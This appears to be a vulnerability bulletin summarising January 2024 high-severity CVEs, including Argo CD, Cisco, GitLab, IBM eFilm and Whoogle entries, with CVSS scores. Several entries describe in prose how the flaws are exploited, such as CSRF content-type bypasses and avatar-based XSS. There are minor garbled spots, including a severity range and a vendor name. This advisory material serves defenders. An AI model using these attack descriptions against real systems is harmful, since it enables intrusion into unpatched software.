BULLETIN (SB24-029)
VULNERABILITY SUMMARY FOR
JANUARY 2024

Bulletin (SB24-029)
Vulnerability Summary for January 2024

Cybernetic GI Security Bulletin provides a summary of new vulnerabilities that have been recorded by the National Institute of Standards and Technology (NIST) National Vulnerability Database (NVD) in the past week. The Department of Homeland Security (DHS) National Cybersecurity and Communications Integration Center (NCCIC) / United States Computer Emergency Readiness Team, is sponsored by The NVD. For modified or updated entries, please visit the NVD, which contains historical vulnerability information.

The vulnerabilities are based on the CVE vulnerability naming standard and determined by the Common Vulnerability Scoring System (CVSS) standard. They are organized according to severity, by the division of high, medium and low severities correspond to the following scores:

High- Vulnerabilities will be labeled High severity if they have a CVSS base score of 7.0 - 10.0.
Medium - Vulnerabilities will be labeled Medium severity if they have a CVSS base score of 4.0.6.9 -
Low - Vulnerabilities will be labeled Low severity if they have a CVSS base score of 0.0 - 3.9.

Entries may include additional information provided by organizations and efforts sponsored by Cybernetic GI. This data may include identifying information, values, definitions, and related links. The patch information is provided to users when available. Please note that some of the information in the bulletin is compiled from external, open source reports and is not a direct result of Cybernetic GI analysis .

The NCCIC Weekly Vulnerability Summary Bulletin is created using information from the National Institute of Standards and Technology (NIST) National Vulnerability Database (NVD). In some cases, the vulnerabilities in the bulletin may not yet have assigned CVSS scores. Please visit NVD for updated vulnerability entries, which include CVSS scores once they are available.

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
60indexpage -- 60indexpage	A vulnerability classified as critical has been found in 60IndexPage up to 1.8.5. This affects an unknown part of the file /include/file.php of the component Parameter Handler. The manipulation of the argument url leads to server-side request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252189 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	7.3	CVE-2024-0945
60indexpage -- 60indexpage	A vulnerability classified as critical was found in 60IndexPage up to 1.8.5. This vulnerability affects unknown code of the file /apply/index.php of the component Parameter Handler. The manipulation of the argument url leads to server-side request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-252190 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	7.3	CVE-2024-0946
actidata -- actinas_sl_2u-8_rdx_firmware	Improper access control on nasSvr.php in actidata actiNAS SL 2U-8 RDX 3.2.03-SP1 allows remote attackers to read and modify different types of data without authentication.	2024-01-19	9.1	CVE-2023-51947
actidata -- actinas_sl_2u-8_rdx_firmware	A Site-wide directory listing vulnerability in /fm in actidata actiNAS SL 2U-8 RDX 3.2.03-SP1 allows remote attackers to list the files hosted by the web application.	2024-01-19	7.5	CVE-2023-51948
anomali -- match	Anomali Match before 4.6.2 allows OS Command Injection. An authenticated admin user can inject and execute operating system commands. This arises from improper handling of untrusted input, enabling an attacker to elevate privileges, execute system commands, and potentially compromise the underlying operating system. The fixed versions are 4.4.5, 4.5.4, and 4.6.2. The earliest affected version is 4.3.	2024-01-19	7.2	CVE-2023-49329
apache_software_foundation -- apache_superset	A stored cross-site scripting (XSS) vulnerability exists in Apache Superset before 3.0.3. An authenticated attacker with create/update permissions on charts or dashboards could store a script or add a specific HTML snippet that would act as a stored XSS. For 2.X versions, users should change their config to include: TALISMAN_CONFIG = { "content_security_policy": { "base-uri": ["'self'"], "default-src": ["'self'"], "img-src": ["'self'", "blob:", "data:"], "worker-src": ["'self'", "blob:"], "connect-src": ["'self'", " https://api.mapbox.com" https://api.mapbox.com" ;, " https://events.mapbox.com" https://events.mapbox.com" ;,], "object-src": "'none'", "style-src": ["'self'", "'unsafe-inline'",], "script-src": ["'self'", "'strict-dynamic'"], }, "content_security_policy_nonce_in": ["script-src"], "force_https": False, "session_cookie_secure": False, }	2024-01-23	9.6	CVE-2023-49657
apple -- ipados	The issue was addressed with additional permissions checks. This issue is fixed in macOS Sonoma 14.3, iOS 17.3 and iPadOS 17.3. A shortcut may be able to use sensitive data with certain actions without prompting the user.	2024-01-23	7.5	CVE-2024-23203
apple -- ipados	The issue was addressed with additional permissions checks. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, iOS 17.3 and iPadOS 17.3. A shortcut may be able to use sensitive data with certain actions without prompting the user.	2024-01-23	7.5	CVE-2024-23204
apple -- macos	The issue was addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.3. Processing web content may lead to arbitrary code execution.	2024-01-23	8.8	CVE-2024-23209
apple -- macos	The issue was addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.2. Processing a file may lead to unexpected app termination or arbitrary code execution.	2024-01-23	7.8	CVE-2023-42881
argo-- cd_api	Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The Argo CD API prior to versions 2.10-rc2, 2.9.4, 2.8.8, and 2.7.15 are vulnerable to a cross-server request forgery (CSRF) attack when the attacker has the ability to write HTML to a page on the same parent domain as Argo CD. A CSRF attack works by tricking an authenticated Argo CD user into loading a web page which contains code to call Argo CD API endpoints on the victim's behalf. For example, an attacker could send an Argo CD user a link to a page which looks harmless but in the background calls an Argo CD API endpoint to create an application running malicious code. Argo CD uses the "Lax" SameSite cookie policy to prevent CSRF attacks where the attacker controls an external domain. The malicious external	2024-01-19	8.3	CVE-2024-22424

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	website can attempt to call the Argo CD API, but the web browser will refuse to send the Argo CD auth token with the request. Many companies host Argo CD on an internal subdomain. If an attacker can place malicious code on, for example, https://test.internal.example.com/, they can still perform a CSRF attack. In this case, the "Lax" SameSite cookie does not prevent the browser from sending the auth cookie, because the destination is a parent domain of the Argo CD API. Browsers generally block such attacks by applying CORS policies to sensitive requests with sensitive content types. Specifically, browsers will send a "preflight request" for POSTs with content type "application/json" asking the destination API "are you allowed to accept requests from my domain?" If the destination API does not answer "yes," the browser will block the request. Before the patched versions, Argo CD did not validate that requests contained the correct content type header. So an attacker could bypass the browser's CORS check by setting the content type to something which is considered "not sensitive" such as "text/plain." The browser wouldn't send the preflight request, and Argo CD would happily accept the contents (which are actually still JSON) and perform the requested action (such as running malicious code). A patch for this vulnerability has been released in the following Argo CD versions: 2.10-rc2, 2.9.4, 2.8.8, and 2.7.15. The patch contains a breaking API change. The Argo CD API will no longer accept non-GET requests which do not specify application/json as their Content-Type. The accepted content types list is configurable, and it is possible (but discouraged) to disable the content type check completely. Users are advised to upgrade. There are no known workarounds for this vulnerability.			
arris -- surfboard_sbg6950ac2	An arbitrary code execution vulnerability exists in Arris SURFboard SGB6950AC2 devices. An unauthenticated attacker can exploit this vulnerability to achieve code execution as root.	2024-01-26	9.6	CVE-2024-23618 disclosures@exodusintel.com
asus-- armoury_crate	ASUS Armoury Crate has a vulnerability in arbitrary file write and allows remote attackers to access or modify arbitrary files by sending specific HTTP requests without permission.	2024-01-19	9.8	CVE-2023-5716 twcert@cert.org.tw
benbusby -- whoogle-search	Whoogle Search is a self-hosted metasearch engine. In versions prior to 0.8.4, the `element` method in `app/routes.py` does not validate the user-controlled `src_type` and `element_url` variables and passes them to the `send` method which sends a GET request on lines 339-343 in `request.py`, which leads to a server-side request forgery. This issue allows for crafting GET requests to internal and external resources on behalf of the server. For example, this issue would allow for accessing resources on the internal network that the server has access to, even though these resources may not be accessible on the internet. This issue is fixed in version 0.8.4.	2024-01-23	9.1	CVE-2024-22203
benbusby -- whoogle-search	Whoogle Search is a self-hosted metasearch engine. In versions 0.8.3 and prior, the `window` endpoint does not sanitize user-supplied input from the `location` variable and passes it to the `send` method which sends a `GET` request on lines 339-343 in `request.py,` which leads to a server-side request forgery. This issue allows for crafting GET requests to internal and external resources on behalf of the server. For example, this issue would allow for accessing resources on the internal network that the server has access to, even though these resources may not be accessible on the internet. This issue is fixed in version 0.8.4.	2024-01-23	9.1	CVE-2024-22205
biges_safe_life_technologies_electronics_inc. -- vguard	Path Traversal: '/../filedir' vulnerability in Biges Safe Life Technologies Electronics Inc. VGuard allows Absolute Path Traversal.This issue affects VGuard: before V500.0003.R008.4011.C0012.B351.C.	2024-01-26	7.5	CVE-2023-6919 iletisim@usom.gov.tr
byzoro -- smart_s150_firmware	A vulnerability was found in Beijing Baichuo Smart S150 Management Platform V31R02B15. It has been classified as critical. Affected is an unknown function of the file /useratte/inc/userattea.php. The manipulation leads to improper access controls. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-251538 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-19	9.8	CVE-2024-0712
cisco -- cisco_unified_contact_center_enterprise	A vulnerability in multiple Cisco Unified Communications and Contact Center Solutions products could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. This vulnerability is due to the improper processing of user-provided data that is being read into memory. An attacker could exploit this vulnerability by sending a crafted message to a listening port of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the privileges of the web	2024-01-26	9.9	CVE-2024-20253 ykramarz@cisco.com

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	services user. With access to the underlying operating system, the attacker could also establish root access on the affected device.			
clickhouse -- java_libraries	Exposure of sensitive information in exceptions in ClichHouse's clickhouse-r2dbc, com.clickhouse:clickhouse-jdbc, and com.clickhouse:clickhouse-client versions less than 0.4.6 allows unauthorized users to gain access to client certificate passwords via client exception logs. This occurs when 'sslkey' is specified and an exception, such as a ClickHouseException or SQLException, is thrown during database operations; the certificate password is then included in the logged exception message.	2024-01-19	8.8	CVE-2024-23689
crestron -- am-300	There is an OS command injection vulnerability in Crestron AM-300 firmware version 1.4499.00018 which may enable a user of a limited-access SSH session to escalate their privileges to root-level access.	2024-01-23	8.4	CVE-2023-6926 ics-cert@hq.dhs.gov
d-link -- dap-1650	A command injection vulnerability exists in the gena.cgi module of D-Link DAP-1650 devices. An unauthenticated attacker can exploit this vulnerability to gain command execution on the device as root.	2024-01-26	9.6	CVE-2024-23624 disclosures@exodusintel.com
d-link -- dap-1650	A command injection vulnerability exists in D-Link DAP-1650 devices when handling UPnP SUBSCRIBE messages. An unauthenticated attacker can exploit this vulnerability to gain command execution on the device as root.	2024-01-26	9.6	CVE-2024-23625 disclosures@exodusintel.com
dedecms -- dedecms	DedeCMS 5.7.112 has a File Upload vulnerability via uploads/dede/module_upload.php.	2024-01-22	8.8	CVE-2024-22895
delhivery -- delhivery_logistics_courier	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Delhivery Delhivery Logistics Courier. This issue affects Delhivery Logistics Courier: from n/a through 1.0.107.	2024-01-27	8.5	CVE-2024-22283
dell -- networker_module_for_databases_and_applications_oracle	Networker 19.9 and all prior versions contains a Plain-text Password stored in temporary config file during backup duration in NMDA MySQL Database backups. User has low privilege access to Networker Client system could potentially exploit this vulnerability, leading to the disclosure of configured MySQL Database user credentials. The attacker may be able to use the exposed credentials to access the vulnerable application Database with privileges of the compromised account.	2024-01-25	7.8	CVE-2024-22432
dexidp -- dex	Dex is an identity service that uses OpenID Connect to drive authentication for other apps. Dex 2.37.0 serves HTTPS with insecure TLS 1.0 and TLS 1.1. `cmd/dex/serve.go` line 425 seemingly sets TLS 1.2 as minimum version, but the whole `tlsConfig` is ignored after `TLS cert reloader` was introduced in v2.37.0. Configured cipher suites are not respected either. This issue is fixed in Dex 2.38.0.	2024-01-25	7.5	CVE-2024-23656
dolibarr -- dolibarr	Dolibarr is an enterprise resource planning (ERP) and customer relationship management (CRM) software package. Version 18.0.4 has a HTML Injection vulnerability in the Home page of the Dolibarr Application. This vulnerability allows an attacker to inject arbitrary HTML tags and manipulate the rendered content in the application's response. Specifically, I was able to successfully inject a new HTML tag into the returned document and, as a result, was able to comment out some part of the Dolibarr App Home page HTML code. This behavior can be exploited to perform various attacks like Cross-Site Scripting (XSS). To remediate the issue, validate and sanitize all user-supplied input, especially within HTML attributes, to prevent HTML injection attacks; and implement proper output encoding when rendering user-provided data to ensure it is treated as plain text rather than executable HTML.	2024-01-25	7.1	CVE-2024-23817
dom96 -- httpbeast	An issue in dom96 HTTPbeast v.0.4.1 and before allows a remote attacker to execute arbitrary code via a crafted request to the parser.nim component.	2024-01-19	9.8	CVE-2023-50694
dremio -- dremio	Dremio before 24.3.1 allows path traversal. An authenticated user who has no privileges on certain folders (and the files and datasets in these folders) can access these folders, files, and datasets. To be successful, the user must have access to the source and at least one folder in the source. Affected versions are: 24.0.0 through 24.3.0, 23.0.0 through 23.2.3, and 22.0.0 through 22.2.2. Fixed versions are: 24.3.1 and later, 23.2.4 and later, and 22.2.3 and later.	2024-01-22	8.8	CVE-2024-23768
ejinshan -- terminal_security_system	File upload vulnerability in ejinshan v8+ terminal security system allows attackers to upload arbitrary files to arbitrary locations on the server.	2024-01-20	9.8	CVE-2021-31314
embedchain -- embedchain	The OpenAPI loader in Embedchain before 0.1.57 allows attackers to execute arbitrary code, related to the openapi.py yaml.load function argument.	2024-01-21	9.8	CVE-2024-23731
embedchain -- embedchain	The JSON loader in Embedchain before 0.1.57 allows a ReDoS (regular expression denial of service) via a long string to json.py.	2024-01-21	7.5	CVE-2024-23732

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
enonic -- xp	Enonic XP versions less than 7.7.4 are vulnerable to a session fixation issue. An remote and unauthenticated attacker can use prior sessions due to the lack of invalidating session attributes.	2024-01-19	9.8	CVE-2024-23679
fortra -- goanywhere_mft	Authentication bypass in Fortra's GoAnywhere MFT prior to 7.4.1 allows an unauthorized user to create an admin user via the administration portal.	2024-01-22	9.8	CVE-2024-0204
foru_cms_project -- foru_cms	A vulnerability classified as problematic was found in ForU CMS up to 2020-06-23. Affected by this vulnerability is an unknown functionality of the file channel.php. The manipulation of the argument c_cmodel leads to file inclusion. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251551.	2024-01-19	9.8	CVE-2024-0728
foru_cms_project -- foru_cms	A vulnerability, which was classified as critical, has been found in ForU CMS up to 2020-06-23. Affected by this issue is some unknown functionality of the file cms_admin.php. The manipulation of the argument a_name leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251552.	2024-01-19	9.8	CVE-2024-0729
freerdp -- freerdp	FreeRDP is a set of free and open source remote desktop protocol library and clients. In affected versions an integer overflow in `freerdp_bitmap_planar_context_reset` leads to heap-buffer overflow. This affects FreeRDP based clients. FreeRDP based server implementations and proxy are not affected. A malicious server could prepare a `RDPGFX_RESET_GRAPHICS_PDU` to allocate too small buffers, possibly triggering later out of bound read/write. Data extraction over network is not possible, the buffers are used to display an image. This issue has been addressed in version 2.11.5 and 3.2.0. Users are advised to upgrade. there are no know workarounds for this vulnerability.	2024-01-19	9.8	CVE-2024-22211
freesshd -- freesshd	A vulnerability was found in freeSSHd 1.0.9 on Windows. It has been classified as problematic. This affects an unknown part. The manipulation leads to denial of service. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251547.	2024-01-19	7.5	CVE-2024-0723
garethhk -- mldong	A vulnerability, which was classified as critical, has been found in ???? mldong 1.0. This issue affects the function ExpressionEngine of the file com/mldong/modules/wf/engine/model/DecisionModel.java. The manipulation leads to code injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251561 was assigned to this vulnerability.	2024-01-19	9.8	CVE-2024-0738
gitlab -- gitlab	An issue has been discovered in GitLab CE/EE affecting all versions from 16.0 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 which allows an authenticated user to write files to arbitrary locations on the GitLab server while creating a workspace.	2024-01-26	9.9	CVE-2024-0402
hewlett_packard_enterprise -- hpe_oneview	HPE OneView may allow command injection with local privilege escalation.	2024-01-23	7.8	CVE-2023-50274 security-alert@hpe.com
hewlett_packard_enterprise -- hpe_oneview	HPE OneView may allow clusterService Authentication Bypass resulting in denial of service.	2024-01-23	7.5	CVE-2023-50275 security-alert@hpe.com
hitron_systems -- dvr_hvr-16781	Improper Input Validation in Hitron Systems DVR HVR-16781 1.03~4.02 allows an attacker to cause network attack in case of using default admin ID/PW.	2024-01-23	7.4	CVE-2024-22770 vuln@krcert.or.kr
hitron_systems -- dvr_hvr-4781	Improper Input Validation in Hitron Systems DVR HVR-4781 1.03~4.02 allows an attacker to cause network attack in case of using default admin ID/PW.	2024-01-23	7.4	CVE-2024-22768 vuln@krcert.or.kr
hitron_systems -- dvr_hvr-8781	Improper Input Validation in Hitron Systems DVR HVR-8781 1.03~4.02 allows an attacker to cause network attack in case of using default admin ID/PW.	2024-01-23	7.4	CVE-2024-22769 vuln@krcert.or.kr
hitron_systems -- dvr_lguvr-4h	Improper Input Validation in Hitron Systems DVR LGUVR-4H 1.02~4.02 allows an attacker to cause network attack in case of using default admin ID/PW.	2024-01-23	7.4	CVE-2024-22771 vuln@krcert.or.kr

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
hitron_systems -- dvr_lguvr-8h	Improper Input Validation in Hitron Systems DVR LGUVR-8H 1.02~4.02 allows an attacker to cause network attack in case of using default admin ID/PW.	2024-01-23	7.4	CVE-2024-22772 vuln@krcert.or.kr
hitron_systems_dvr -- dvr_lguvr-16h	Improper Input Validation in Hitron Systems DVR LGUVR-16H 1.02~4.02 allows an attacker to cause network attack in case of using default admin ID/PW.	2024-01-23	7.4	CVE-2024-23842 vuln@krcert.or.kr
humansignal -- label-studio	Label Studio is an a popular open source data labeling tool. Versions prior to 1.9.2 have a cross-site scripting (XSS) vulnerability that could be exploited when an authenticated user uploads a crafted image file for their avatar that gets rendered as a HTML file on the website. Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image. The file `users/functions.py` lines 18-49 show that the only verification check is that the file is an image by extracting the dimensions from the file. Label Studio serves avatar images using Django's built-in `serve` view, which is not secure for production use according to Django's documentation. The issue with the Django `serve` view is that it determines the `Content-Type` of the response by the file extension in the URL path. Therefore, an attacker can upload an image that contains malicious HTML code and name the file with a `.html` extension to be rendered as a HTML page. The only file extension validation is performed on the client-side, which can be easily bypassed. Version 1.9.2 fixes this issue. Other remediation strategies include validating the file extension on the server side, not in client-side code; removing the use of Django's `serve` view and implement a secure controller for viewing uploaded avatar images; saving file content in the database rather than on the filesystem to mitigate against other file related vulnerabilities; and avoiding trusting user controlled inputs.	2024-01-23	7.1	CVE-2023-47115
ibm -- db2	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 federated server is vulnerable to a denial of service when a specially crafted cursor is used. IBM X-Force ID: 268759.	2024-01-22	7.5	CVE-2023-45193
ibm -- db2	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 is vulnerable to an insecure cryptographic algorithm and to information disclosure in stack trace under exceptional conditions. IBM X-Force ID: 270730.	2024-01-22	7.5	CVE-2023-47152
ibm -- maximo_application_suite	IBM Maximo Asset Management 7.6.1.3 and Manage Component 8.10 through 8.11 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts. IBM X-Force ID: 271843.	2024-01-19	8.8	CVE-2023-47718
ibm -- openpages_with_watson	IBM OpenPages with Watson 8.3 and 9.0 could provide weaker than expected security in a OpenPages environment using Native authentication. If OpenPages is using Native authentication an attacker with access to the OpenPages database could through a series of specially crafted steps could exploit this weakness and gain unauthorized access to other OpenPages accounts. IBM X-Force ID: 262594.	2024-01-19	8.1	CVE-2023-38738
ibm -- openpages_with_watson	IBM OpenPages with Watson 8.3 and 9.0 could allow remote attacker to bypass security restrictions, caused by insufficient authorization checks. By authenticating as an OpenPages user and using non-public APIs, an attacker could exploit this vulnerability to bypass security and gain unauthorized administrative access to the application. IBM X-Force ID: 264005.	2024-01-19	8.8	CVE-2023-40683
ibm_merge_healthcare -- _efilm_workstation	An improper privilege management vulnerability exists in IBM Merge Healthcare eFilm Workstation. A local, authenticated attacker can exploit this vulnerability to escalate privileges to SYSTEM.	2024-01-26	8.8	CVE-2024-23620 disclosures@exodusintel.com
ibm_merge_healthcare -- efilm_workstation	A buffer overflow exists in IBM Merge Healthcare eFilm Workstation license server. A remote, unauthenticated attacker can exploit this vulnerability to achieve remote code execution.	2024-01-26	10	CVE-2024-23621 disclosures@exodusintel.com
ibm_merge_healthcare -- efilm_workstation	A stack-based buffer overflow exists in IBM Merge Healthcare eFilm Workstation license server. A remote, unauthenticated attacker can exploit this vulnerability to achieve remote code execution with SYSTEM privileges.	2024-01-26	10	CVE-2024-23622 disclosures@exodusintel.com
ibm_merge_healthcare -- efilm_workstation	A hardcoded credential vulnerability exists in IBM Merge Healthcare eFilm Workstation. A remote, unauthenticated attacker can exploit this vulnerability to achieve information disclosure or remote code execution.	2024-01-26	9.8	CVE-2024-23619 disclosures@exodusintel.com

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
instawp_team -- instawp_connec-1_click_wp_staging_&_migration	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in InstaWP Team InstaWP Connect - 1-click WP Staging & Migration. This issue affects InstaWP Connect - 1-click WP Staging & Migration: from n/a through 0.1.0.9.	2024-01-27	7.7	CVE-2024-23506
intel -- nuc_bios	Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a privileged user to potentially enable escalation of privilege via local access.	2024-01-19	7.5	CVE-2023-28738 secure@intel.com
intel -- nuc_bios	Improper input validation for some Intel NUC BIOS firmware before version QN0073 may allow a privileged user to potentially enable escalation of privilege via local access.	2024-01-19	7.5	CVE-2023-28743 secure@intel.com
intel -- nuc_bios	Improper input validation for some Intel NUC BIOS firmware before version IN0048 may allow a privileged user to potentially enable escalation of privilege via local access.	2024-01-19	7.5	CVE-2023-29495 secure@intel.com
intel -- nuc_pro	Uncontrolled search path in some Intel NUC Pro Software Suite Configuration Tool software installers before version 3.0.0.6 may allow an authenticated user to potentially enable denial of service via local access.	2024-01-19	7.9	CVE-2023-32272 secure@intel.com
intel-- hotkey	Improper access control in some Intel HotKey Services for Windows 10 for Intel NUC P14E Laptop Element software installers before version 1.1.45 may allow an authenticated user to potentially enable denial of service via local access.	2024-01-19	7.3	CVE-2023-32544 secure@intel.com
intel-- nuc_8_compute_element_bios	Improper input validation in some Intel NUC 8 Compute Element BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access.	2024-01-19	7.5	CVE-2023-42766 secure@intel.com
intel-- nuc_bios	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access.	2024-01-19	7.5	CVE-2023-38587 secure@intel.com
intel-- nuc_bios	Improper buffer restrictions in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access.	2024-01-19	7.5	CVE-2023-42429 secure@intel.com
jester_project -- jester	An issue in dom96 Jester v.0.6.0 and before allows a remote attacker to execute arbitrary code via a crafted request.	2024-01-19	9.8	CVE-2023-50693
joommasters -- jmssetting	In the module "Jms Setting" (jmssetting) from Joommasters for PrestaShop, a guest can perform SQL injection in versions <= 1.1.0. The method `JmsSetting::getSecondImgs()` has a sensitive SQL call that can be executed with a trivial http call and exploited to forge a blind SQL injection.	2024-01-19	9.8	CVE-2023-50030
jsrsasign -- jsrsasign	Versions of the package jsrsasign before 11.0.0 are vulnerable to Observable Discrepancy via the RSA PKCS1.5 or RSAOAEP decryption process. An attacker can decrypt ciphertexts by exploiting this vulnerability. Exploiting this vulnerability requires the attacker to have access to a large number of ciphertexts encrypted with the same key. Workaround This vulnerability can be mitigated by finding and replacing RSA and RSAOAEP decryption with another crypto library.	2024-01-22	7.5	CVE-2024-21484 report@snyk.io report@snyk.io report@snyk.io report@snyk.io report@snyk.io report@snyk.io
juniper_networks -- junos_os	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.	2024-01-25	8.8	CVE-2024-21620
keycloak -- keycloak	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise explicitly allowed hosts. A successful attack may lead to an access token being stolen, making it possible for the attacker to impersonate other users.	2024-01-26	7.1	CVE-2023-6291
leadshop -- leadshop	A vulnerability, which was classified as critical, was found in Hecheng Leadshop up to 1.4.20. Affected is an unknown function of the file /web/leadshop.php. The manipulation of the argument install leads to deserialization. It is possible to	2024-01-19	9.8	CVE-2024-0739

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-251562 is the identifier assigned to this vulnerability.			
lemmynet -- lemmy	Lemmy is a link aggregator and forum for the fediverse. Starting in version 0.17.0 and prior to version 0.19.1, users can report private messages, even when they're neither sender nor recipient of the message. The API response to creating a private message report contains the private message itself, which means any user can just iterate over message ids to (loudly) obtain all private messages of an instance. A user with instance admin privileges can also abuse this if the private message is removed from the response, as they're able to see the resulting reports. Creating a private message report by POSTing to `/api/v3/private_message/report` does not validate whether the reporter is the recipient of the message. lemmy-ui does not allow the sender to report the message; the API method should likely be restricted to accessible to recipients only. The API response when creating a report contains the `private_message_report_view` with all the details of the report, including the private message that has been reported: Any authenticated user can obtain arbitrary (untargeted) private message contents. Privileges required depend on the instance configuration; when registrations are enabled without application system, the privileges required are practically none. When registration applications are required, privileges required could be considered low, but this assessment heavily varies by instance. Version 0.19.1 contains a patch for this issue. A workaround is available. If an update to a fixed Lemmy version is not immediately possible, the API route can be blocked in the reverse proxy. This will prevent anyone from reporting private messages, but it will also prevent exploitation before the update has been applied.	2024-01-24	7.5	CVE-2024-23649
lenovo -- tab_m8_hd_tb8505f_firmware	A privilege escalation vulnerability was reported in some Lenovo tablet products that could allow local applications access to device identifiers and system commands.	2024-01-19	7.8	CVE-2023-5080
lenovo -- vantage	A privilege escalation vulnerability was reported in Lenovo Vantage that could allow a local attacker to bypass integrity checks and execute arbitrary code with elevated privileges.	2024-01-19	7.8	CVE-2023-6043
linux -- kernel	A use-after-free flaw was found in the Linux Kernel due to a race problem in the unix garbage collector's deletion of SKB races with unix_stream_read_generic() on the socket that the SKB is queued on.	2024-01-21	7	CVE-2023-6531
ls1intum -- artemis_java_test_sandbox	Artemis Java Test Sandbox versions before 1.11.2 are vulnerable to a sandbox escape when an attacker loads untrusted libraries using System.load or System.loadLibrary. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.	2024-01-19	8.2	CVE-2024-23681
ls1intum -- artemis_java_test_sandbox	Artemis Java Test Sandbox versions before 1.8.0 are vulnerable to a sandbox escape when an attacker includes class files in a package that Ares trusts. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.	2024-01-19	8.2	CVE-2024-23682
ls1intum -- artemis_java_test_sandbox	Artemis Java Test Sandbox versions less than 1.7.6 are vulnerable to a sandbox escape when an attacker crafts a special subclass of InvocationTargetException. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.	2024-01-19	8.2	CVE-2024-23683
mate-desktop -- atril	Atril Document Viewer is the default document reader of the MATE desktop environment for Linux. A path traversal and arbitrary file write vulnerability exists in versions of Atril prior to 1.26.2. This vulnerability is capable of writing arbitrary files anywhere on the filesystem to which the user opening a crafted document has access. The only limitation is that this vulnerability cannot be exploited to overwrite existing files, but that doesn't stop an attacker from achieving Remote Command Execution on the target system. Version 1.26.2 of Atril contains a patch for this vulnerability.	2024-01-25	8.5	CVE-2023-52076
mayurik -- online_tours_\&_travels_management_system	A vulnerability was found in SourceCodester Online Tours & Travels Management System 1.0. It has been rated as critical. Affected by this issue is the function exec of the file admin/operations/expense.php. The manipulation leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251558 is the identifier assigned to this vulnerability.	2024-01-19	9.8	CVE-2024-0735
microsoft -- microsoft_edge_(chromium-based)	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	2024-01-26	9.6	CVE-2024-21326

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
microsoft -- microsoft_edge_(chromium-based)	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	2024-01-26	8.3	CVE-2024-21385
mintplexlabs -- anythingllm	AnythingLLM is an application that turns any document, resource, or piece of content into context that any LLM can use as references during chatting. In versions prior to commit `08d33cfd8` an unauthenticated API route (file export) can allow attacker to crash the server resulting in a denial of service attack. The "data-export" endpoint is used to export files using the filename parameter as user input. The endpoint takes the user input, filters it to avoid directory traversal attacks, fetches the file from the server, and afterwards deletes it. An attacker can trick the input filter mechanism to point to the current directory, and while attempting to delete it the server will crash as there is no error-handling wrapper around it. Moreover, the endpoint is public and does not require any form of authentication, resulting in an unauthenticated Denial of Service issue, which crashes the instance using a single HTTP packet. This issue has been addressed in commit `08d33cfd8`. Users are advised to upgrade. There are no known workarounds for this vulnerability.	2024-01-19	7.5	CVE-2024-22422
